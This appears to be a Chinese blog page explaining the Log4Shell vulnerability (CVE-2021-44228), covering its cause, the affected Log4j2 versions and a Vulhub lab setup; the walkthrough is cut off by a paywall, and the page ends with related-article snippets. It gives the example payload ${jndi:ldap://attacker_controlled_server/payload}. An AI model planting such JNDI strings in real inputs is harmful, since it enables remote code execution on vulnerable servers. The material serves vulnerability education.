Log4j2远程代码执行漏洞（CVE-2021-44228）

最新推荐文章于 2025-10-22 14:05:42 发布
原创 最新推荐文章于 2025-10-22 14:05:42 发布 · 3.9k 阅读 · 34 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#log4j #web安全 #安全

这篇文章详细解释了Log4Shell漏洞，涉及其原理、影响的ApacheLog4j2版本，以及如何在Vulhub环境中搭建并验证漏洞。作者介绍了使用burp插件检测漏洞的方法，并演示了漏洞利用的过程，最后给出官方推荐的修复建议。

1、简介

CVE-2021-44228，被广泛称为“Log4Shell”，是一个高危的远程代码执行漏洞，影响了Apache Log4j 2，这是一个在Java应用程序中广泛使用的日志记录库。

2、漏洞原理

这个漏洞的根本原因在于Log4j 2的日志消息查找功能，该功能允许插入特定的模式，以便从不同的数据源动态获取信息。攻击者可以通过向Log4j传递一个恶意构造的字符串操纵JNDI（Java Naming and Directory Interface）查找，以执行LDAP（轻量级目录访问协议）或其他JNDI支持的查询。例如，攻击者可以提交一个包含${jndi:ldap://attacker_controlled_server/payload}的字符串到日志消息中。如果这个消息被记录，Log4j会尝试解析这个字符串，并进行JNDI查询到指定的URL，这可以导致加载并执行攻击者指定的恶意代码。

3、影响版本

Apache Log4j 2.x < 2.15.0-rc2

4、环境搭建

本文用到的是Vulhub搭建的环境，如何下载Vulhub并启动可参考这里

进入到CVE-2021-44228目录，执行如下命令启动环境。

docker-compose up -d

查看环境信息

docker-compose ps

最低0.47元/天 解锁文章
网安-Dream
关注
精选资源
Apache Log4j 远程代码执行漏洞(CVE-2021-44832)
10-25
Apache Log4j 是一个广泛使用的 Java 日志框架，它允许应用...总之，Apache Log4j 远程代码执行漏洞是一个重大安全事件，强调了在软件开发和运维过程中对安全性的重视。及时更新和维护软件库是防止此类漏洞影响的关键。
Log4j2 远程代码执行漏洞（CVE-2021-44228）
qq_68163788的博客
06-18 1714
Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。CVE-2021-44228是Log4j2中存在的一个严重的远程代码执行漏洞。攻击者可以通过恶意构造的日志信息，利用该漏洞执行恶意代码，从而危害受影响的系统。这个漏洞对于使用Log4j2的应用程序和系统构成了潜在的安全风险。
刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗？
weixin_45987961的博客
12-15 5673
发生什么事了 Log4J 是一个应用非常广泛的Java库，就在前两天的2021年12月10日，Log4J的一个安全漏洞被公布了。那天正好是周五，很多程序员都在计划着怎么度过一个愉快的周末，不料这个安全漏洞的公开，使得全世界很多程序员不得不周末加班，有的甚至通宵达旦紧急应对。 漏洞编号为CVE-2021-44228 ，攻击者利用这个新的零日漏洞，可以远程执行恶意代码。 零日漏洞（ zero-day ）通常是指还没有补丁的安全漏洞。零日漏洞利用（zero-day exploit）的程序对网络安全具有..
log4j2 CVE-2021-44228 远程代码执行漏洞
读书 买花 长大
05-17 1297
CVE-2021-44228
重新理解 Log4Shell (CVE-2021-44228) 漏洞原理：附漏洞检测工具（Nmap/Log4j-Scanner）+ 修复方案，零基础到精通，收藏这篇！
最新发布
shandongjiushen的博客
10-22 762
Log4Shell 漏洞是一个影响广泛、危害严重的漏洞。及时升级 Log4j 版本，或者采取临时缓解措施，并加强输入验证，是防御该漏洞的关键。文章来自网上，侵权请联系博主。
Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)
weixin_44047654的博客
01-09 3641
Apache Log4j2 远程代码执行漏洞< 2.15.0(CVE-2021-44228)
Apache Log4j2漏洞 (CVE-2021-44228) 分析与复现
未完成的歌~的博客
03-15 2万+
Apache Log4j2 是一个开源的 Java 日志记录工具。Log4j2 是 Log4j 的升级版本，其优异的性能被广泛的应用于各种常见的 Web 服务中。Log4j2 在特定的版本中由于启用了 lookup 功能，导致存在 JNDI 漏洞。lookup 函数是用于在日志消息中替换变量的函数，是通过配置文件中的${}语法调用的，例如：如果在日志消息中使用了，那么 log4j2 将使用 lookup 函数从系统属性中查找名为 “my.property” 的属性值，并将其替换为实际值。
log4j2 远程代码执行漏洞复现（CVE-2021-44228）
热门推荐
Welcome To Myon'Blog !
03-08 2万+
log4j 是 Apache 的一个开源日志库，是一个基于 Java 的日志记录框架，Log4j2 是 log4j 的后继者，其中引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI 组建等，被应用于业务系统开发，用于记录程序输入输出日志信息，log4j2 中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞，成功利用该漏洞可在目标服务器上执行任意代码。
idea中使用log4j2打印日志
ygd1994的专栏
05-24 1万+
先去下载log4j的jar包，将log4j-api-2.8.2.jar和log4j-core-2.8.2.jar导入到lib目录自定义log4j2.xml文件到src目录下 配置文件如下： <?xml version="1.0" encoding="UTF-8"?> <!-- status : 这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,会看到log4j2内
log4j2远程代码执行漏洞（CVE-2021-44228）
流水不争先，争的是滔滔不绝
05-22 536
log4j2远程代码执行漏洞
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）
Arlo的博客
12-30 1788
发布日期：2021-12-12 名称：Apache Log4j2 Remote Code Execution Vulnerability (CVE-2021-44228) 级别：严重 描述信息：Apache Log4j2是一个基于Java的日志记录工具，是Log4j的升级，在其前身Log4j 1.x基础上提供了Logback中可用的很多优化，同时修复了Logback架构中的一些问题，是目前最优秀的Java日志框架之一。该日志框架被大量用于业务系统开发，用来记录日志信息。开发者可能会将用户输入造成的错误信息写
Log4j2远程命令执行（CVE-2021-44228）
weixin_48817799的博客
01-25 1273
Log4j2远程命令执行（CVE-2021-44228） 前言一、vulfocus靶场二、复现步骤1.靶场如下2.点击抓包 前言 Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。 一、vulfocus靶场 http://vulfocus.io.
CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现
热爱学习，喜欢折腾！
09-03 4725
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程，受影响地版本中纯在JNDI注入漏洞，导致日志在记录用户输入地数据时，触发了注入漏洞，该漏洞可导致远程代码执行，且利用条件低，影响范围广。
CVE-2021-44228 Apache Log4j 2 远程代码执行漏洞（反弹shell）
PolarPeak的博客
12-10 5450
本地复现 https://github.com/tangxiaofeng7/apache-log4j-poc log4j.java内容 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class);
CVE-2021-44228（Log4j2漏洞）
m0_73399576的博客
07-11 1312
知识面，决定看到的攻击面有多广。知识链，决定发动的杀伤链有多深。
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)
weixin_68177269的博客
09-27 688
log4j就会去解析该信息，通过jndi的lookup() 方法去解析该url：ldap:attacker:1099/exp。受害主机访问伪造的ldap服务，访问恶意java.class类，执行恶意代码。如果ldap没有解析成功会自动访问http。当用户输入信息时，应用程序中的log4j 2组件会将信息记录到日志中。条件：lookup()参数可控。假如日志中包含有语句。
Log4j2漏洞（CVE-2021-44228）原理（代码&易懂）
weixin_63350467的博客
11-19 1958
大家第一次见到这个漏洞的名字 Log4j2漏洞，第一时间肯定会疑惑。一般情况下，log日志就是为了方便出问题的时候查看问题出在哪里。为什么会出现这个漏洞呢？罪魁祸首就是JNDI（Java Naming and Directory Interface ） JAVA命名和目录接口我先解释一下JNDI的定义命名服务是一种用于将名称与对象绑定的服务。比如，将一个名称（如）绑定到一个具体对象（如数据库连接池实例）。通过命名服务，应用可以通过名称查找到对应的资源。
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）漏洞复现
weixin_51804748的博客
03-18 7148
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
Apache Log4j2远程代码执行漏洞(CVE-2021-45105/CVE-2021-44228)、
08-22
CVE-2021-45105和CVE-2021-44228是针对该框架的一个严重安全漏洞，也被称为Log4Shell或Log4J RCE（Remote Code Execution）。这个漏洞源于Log4j库的一个设计缺陷，当处理某些特定类型的外部输入数据时，攻击者可以...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值